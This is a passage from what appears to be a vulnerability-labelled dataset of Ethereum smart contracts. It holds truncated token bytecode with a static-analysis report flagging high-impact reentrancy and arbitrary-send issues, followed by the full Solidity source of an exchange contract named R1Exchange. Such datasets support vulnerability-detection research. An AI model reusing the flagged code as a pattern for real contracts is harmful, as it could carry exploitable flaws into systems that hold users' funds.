0a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122049219d35c9f3b60cfed293cdecefd383b1961b0211af28e75a847bfaae21cbbd64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 913 |
0xE18898c76a39ba4Cd46a544b87ebe1166fbe7052 | ///auto-generated single file for verifying contract on etherscan
pragma solidity ^0.4.20;
contract SafeMath {
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract R1Exchange is SafeMath, Ownable {
mapping(address => bool) public admins;
mapping(address => bool) public feeAccounts;
mapping(address => mapping(address => uint256)) public tokenList;
mapping(address => mapping(bytes32 => uint256)) public orderFilled;//tokens filled
mapping(bytes32 => bool) public withdrawn;
mapping(address => mapping(address => uint256)) public withdrawAllowance;
mapping(address => mapping(address => uint256)) public applyList;//withdraw apply list
mapping(address => mapping(address => uint)) public latestApply;//save the latest apply timestamp
mapping(address => uint256) public canceled;
uint public applyWait = 1 days;
uint public feeRate = 10;
bool public withdrawEnabled = false;
bool public stop = false;
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance);
event DepositTo(address indexed token, address indexed from, address indexed user, uint256 amount, uint256 balance);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance);
event ApplyWithdraw(address indexed token, address indexed user, uint256 amount, uint256 time);
event Trade(address indexed maker, address indexed taker, uint256 amount, uint256 makerFee, uint256 takerFee, uint256 makerNonce, uint256 takerNonce);
modifier onlyAdmin {
require(admins[msg.sender]);
_;
}
modifier isWithdrawEnabled {
require(withdrawEnabled);
_;
}
modifier isFeeAccount(address fa) {
require(feeAccounts[fa]);
_;
}
modifier notStop() {
require(!stop);
_;
}
function() public {
revert();
}
function setAdmin(address admin, bool isAdmin) public onlyOwner {
require(admin != 0);
admins[admin] = isAdmin;
}
function setFeeAccount(address acc, bool asFee) public onlyOwner {
require(acc != 0);
feeAccounts[acc] = asFee;
}
function enableWithdraw(bool enabled) public onlyOwner {
withdrawEnabled = enabled;
}
function changeLockTime(uint lock) public onlyOwner {
require(lock <= 7 days);
applyWait = lock;
}
function changeFeeRate(uint fr) public onlyOwner {
//max fee rate MUST <=10%
require(fr >= 10);
feeRate = fr;
}
function stopTrade() public onlyOwner {
stop = true;
}
/**
* cancel the order that before nonce.
**/
function batchCancel(address[] users, uint256[] nonces) public onlyAdmin {
require(users.length == nonces.length);
for (uint i = 0; i < users.length; i++) {
require(nonces[i] >= canceled[users[i]]);
canceled[users[i]] = nonces[i];
}
}
function deposit() public payable {
tokenList[0][msg.sender] = safeAdd(tokenList[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokenList[0][msg.sender]);
}
function depositToken(address token, uint256 amount) public {
require(token != 0);
tokenList[token][msg.sender] = safeAdd(tokenList[token][msg.sender], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
Deposit(token, msg.sender, amount, tokenList[token][msg.sender]);
}
function depositTo(address token, address to, uint256 amount) public {
require(token != 0 && to != 0);
tokenList[token][to] = safeAdd(tokenList[token][to], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
DepositTo(token, msg.sender, to, amount, tokenList[token][to]);
}
function batchDepositTo(address token, address[] to, uint256[] amount) public {
require(to.length == amount.length && to.length <= 200);
for (uint i = 0; i < to.length; i++) {
depositTo(token, to[i], amount[i]);
}
}
function applyWithdraw(address token, uint256 amount) public {
uint256 apply = safeAdd(applyList[token][msg.sender], amount);
require(safeAdd(apply, withdrawAllowance[token][msg.sender]) <= tokenList[token][msg.sender]);
applyList[token][msg.sender] = apply;
latestApply[token][msg.sender] = block.timestamp;
ApplyWithdraw(token, msg.sender, amount, block.timestamp);
}
/**
* approve user's withdraw application
**/
function approveWithdraw(address token, address user) public onlyAdmin {
withdrawAllowance[token][user] = safeAdd(withdrawAllowance[token][user], applyList[token][user]);
applyList[token][user] = 0;
latestApply[token][user] = 0;
}
/**
* user's withdraw will success in two cases:
* 1. when the admin calls the approveWithdraw function;
* or 2. when the lock time has passed since the application;
**/
function withdraw(address token, uint256 amount) public {
require(amount <= tokenList[token][msg.sender]);
if (amount > withdrawAllowance[token][msg.sender]) {
//withdraw wait over time
require(latestApply[token][msg.sender] != 0 && safeSub(block.timestamp, latestApply[token][msg.sender]) > applyWait);
withdrawAllowance[token][msg.sender] = safeAdd(withdrawAllowance[token][msg.sender], applyList[token][msg.sender]);
applyList[token][msg.sender] = 0;
}
require(amount <= withdrawAllowance[token][msg.sender]);
withdrawAllowance[token][msg.sender] = safeSub(withdrawAllowance[token][msg.sender], amount);
tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount);
latestApply[token][msg.sender] = 0;
if (token == 0) {//withdraw ether
require(msg.sender.send(amount));
} else {//withdraw token
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]);
}
/**
* withdraw directly when withdrawEnabled=true
**/
function withdrawNoLimit(address token, uint256 amount) public isWithdrawEnabled {
require(amount <= tokenList[token][msg.sender]);
tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount);
if (token == 0) {//withdraw ether
require(msg.sender.send(amount));
} else {//withdraw token
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]);
}
/**
* admin withdraw according to user's signed withdraw info
* PARAMS:
* addresses:
* [0] user
* [1] token
* [2] feeAccount
* values:
* [0] amount
* [1] nonce
* [2] fee
**/
function adminWithdraw(address[3] addresses, uint256[3] values, uint8 v, bytes32 r, bytes32 s)
public
onlyAdmin
isFeeAccount(addresses[2])
{
address user = addresses[0];
address token = addresses[1];
address feeAccount = addresses[2];
uint256 amount = values[0];
uint256 nonce = values[1];
uint256 fee = values[2];
require(amount <= tokenList[token][user]);
fee = checkFee(amount, fee);
bytes32 hash = keccak256(this, user, token, amount, nonce);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user);
tokenList[token][user] = safeSub(tokenList[token][user], amount);
tokenList[token][feeAccount] = safeAdd(tokenList[token][feeAccount], fee);
amount = safeSub(amount, fee);
if (token == 0) {//withdraw ether
require(user.send(amount));
} else {//withdraw token
require(Token(token).transfer(user, amount));
}
Withdraw(token, user, amount, tokenList[token][user]);
}
function checkFee(uint256 amount, uint256 fee) private returns (uint256){
uint256 maxFee = fee;
if (safeMul(fee, feeRate) > amount) {
maxFee = amount / feeRate;
}
return maxFee;
}
function getOrderHash(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address base, uint256 expires, uint256 nonce, address feeToken) public view returns (bytes32) {
return keccak256(this, tokenBuy, amountBuy, tokenSell, amountSell, base, expires, nonce, feeToken);
}
function balanceOf(address token, address user) public constant returns (uint256) {
return tokenList[token][user];
}
struct Order {
address tokenBuy;
address tokenSell;
uint256 amountBuy;
uint256 amountSell;
address user;
uint256 fee;
uint256 expires;
uint256 nonce;
bytes32 orderHash;
address baseToken;
address feeToken;//0:default;others:payed with erc-20 token
}
/**
* swap maker and taker's tokens according to their signed order info.
*
* PARAMS:
* addresses:
* [0]:maker tokenBuy
* [1]:taker tokenBuy
* [2]:maker tokenSell
* [3]:taker tokenSell
* [4]:maker user
* [5]:taker user
* [6]:maker baseTokenAddr .default:0 ,then baseToken is ETH
* [7]:taker baseTokenAddr .default:0 ,then baseToken is ETH
* [8]:maker feeToken .
* [9]:taker feeToken .
* [10]:feeAccount
* values:
* [0]:maker amountBuy
* [1]:taker amountBuy
* [2]:maker amountSell
* [3]:taker amountSell
* [4]:maker fee
* [5]:taker fee
* [6]:maker expires
* [7]:taker expires
* [8]:maker nonce
* [9]:taker nonce
* [10]:tradeAmount of token
* v,r,s:maker and taker's signature
**/
function trade(
address[11] addresses,
uint256[11] values,
uint8[2] v,
bytes32[2] r,
bytes32[2] s
) public
onlyAdmin
isFeeAccount(addresses[10])
notStop
{
Order memory makerOrder = Order({
tokenBuy : addresses[0],
tokenSell : addresses[2],
user : addresses[4],
amountBuy : values[0],
amountSell : values[2],
fee : values[4],
expires : values[6],
nonce : values[8],
orderHash : 0,
baseToken : addresses[6],
feeToken : addresses[8]
});
Order memory takerOrder = Order({
tokenBuy : addresses[1],
tokenSell : addresses[3],
user : addresses[5],
amountBuy : values[1],
amountSell : values[3],
fee : values[5],
expires : values[7],
nonce : values[9],
orderHash : 0,
baseToken : addresses[7],
feeToken : addresses[9]
});
uint256 tradeAmount = values[10];
//check expires
require(makerOrder.expires >= block.number && takerOrder.expires >= block.number);
//check order nonce canceled
require(makerOrder.nonce >= canceled[makerOrder.user] && takerOrder.nonce >= canceled[takerOrder.user]);
//make sure both is the same trade pair
require(makerOrder.baseToken == takerOrder.baseToken && makerOrder.tokenBuy == takerOrder.tokenSell && makerOrder.tokenSell == takerOrder.tokenBuy);
require(takerOrder.baseToken == takerOrder.tokenBuy || takerOrder.baseToken == takerOrder.tokenSell);
makerOrder.orderHash = getOrderHash(makerOrder.tokenBuy, makerOrder.amountBuy, makerOrder.tokenSell, makerOrder.amountSell, makerOrder.baseToken, makerOrder.expires, makerOrder.nonce, makerOrder.feeToken);
takerOrder.orderHash = getOrderHash(takerOrder.tokenBuy, takerOrder.amountBuy, takerOrder.tokenSell, takerOrder.amountSell, takerOrder.baseToken, takerOrder.expires, takerOrder.nonce, takerOrder.feeToken);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", makerOrder.orderHash), v[0], r[0], s[0]) == makerOrder.user);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", takerOrder.orderHash), v[1], r[1], s[1]) == takerOrder.user);
balance(makerOrder, takerOrder, addresses[10], tradeAmount);
//emit event
Trade(makerOrder.user, takerOrder.user, tradeAmount, makerOrder.fee, takerOrder.fee, makerOrder.nonce, takerOrder.nonce);
}
function balance(Order makerOrder, Order takerOrder, address feeAccount, uint256 tradeAmount) internal {
///check the price meets the condition.
///match condition: (makerOrder.amountSell*takerOrder.amountSell)/(makerOrder.amountBuy*takerOrder.amountBuy) >=1
require(safeMul(makerOrder.amountSell, takerOrder.amountSell) >= safeMul(makerOrder.amountBuy, takerOrder.amountBuy));
///If the price is ok,always use maker's price first!
uint256 takerBuy = 0;
uint256 takerSell = 0;
if (takerOrder.baseToken == takerOrder.tokenBuy) {
//taker sell tokens
uint256 makerAmount = safeSub(makerOrder.amountBuy, orderFilled[makerOrder.user][makerOrder.orderHash]);
uint256 takerAmount = safeSub(takerOrder.amountSell, orderFilled[takerOrder.user][takerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerSell = tradeAmount;
takerBuy = safeMul(makerOrder.amountSell, takerSell) / makerOrder.amountBuy;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerSell);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerSell);
} else {
// taker buy tokens
takerAmount = safeSub(takerOrder.amountBuy, orderFilled[takerOrder.user][takerOrder.orderHash]);
makerAmount = safeSub(makerOrder.amountSell, orderFilled[makerOrder.user][makerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerBuy = tradeAmount;
takerSell = safeMul(makerOrder.amountBuy, takerBuy) / makerOrder.amountSell;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerBuy);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerBuy);
}
uint256 makerFee = chargeFee(makerOrder, feeAccount, takerSell);
uint256 takerFee = chargeFee(takerOrder, feeAccount, takerBuy);
//taker give tokens
tokenList[takerOrder.tokenSell][takerOrder.user] = safeSub(tokenList[takerOrder.tokenSell][takerOrder.user], takerSell);
//taker get tokens
tokenList[takerOrder.tokenBuy][takerOrder.user] = safeAdd(tokenList[takerOrder.tokenBuy][takerOrder.user], safeSub(takerBuy, takerFee));
//maker give tokens
tokenList[makerOrder.tokenSell][makerOrder.user] = safeSub(tokenList[makerOrder.tokenSell][makerOrder.user], takerBuy);
//maker get tokens
tokenList[makerOrder.tokenBuy][makerOrder.user] = safeAdd(tokenList[makerOrder.tokenBuy][makerOrder.user], safeSub(takerSell, makerFee));
}
///charge fees.fee can be payed as other erc20 token or the tokens that user get
///returns:fees to reduce from the user's tokenBuy
function chargeFee(Order order, address feeAccount, uint256 amountBuy) internal returns (uint256){
uint256 classicFee = 0;
if (order.feeToken != 0) {
///use erc-20 token as fee .
//make sure the user has enough tokens
require(order.fee <= tokenList[order.feeToken][order.user]);
tokenList[order.feeToken][feeAccount] = safeAdd(tokenList[order.feeToken][feeAccount], order.fee);
tokenList[order.feeToken][order.user] = safeSub(tokenList[order.feeToken][order.user], order.fee);
} else {
order.fee = checkFee(amountBuy, order.fee);
classicFee = order.fee;
tokenList[order.tokenBuy][feeAccount] = safeAdd(tokenList[order.tokenBuy][feeAccount], order.fee);
}
return classicFee;
}
function batchTrade(
address[11][] addresses,
uint256[11][] values,
uint8[2][] v,
bytes32[2][] r,
bytes32[2][] s
) public onlyAdmin {
for (uint i = 0; i < addresses.length; i++) {
trade(addresses[i], values[i], v[i], r[i], s[i]);
}
}
///help to refund token to users.this method is called when contract needs updating
function refund(address user, address[] tokens) public onlyAdmin {
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 amount = tokenList[token][user];
if (amount > 0) {
tokenList[token][user] = 0;
if (token == 0) {//withdraw ether
require(user.send(amount));
} else {//withdraw token
require(Token(token).transfer(user, amount));
}
Withdraw(token, user, amount, tokenList[token][user]);
}
}
}
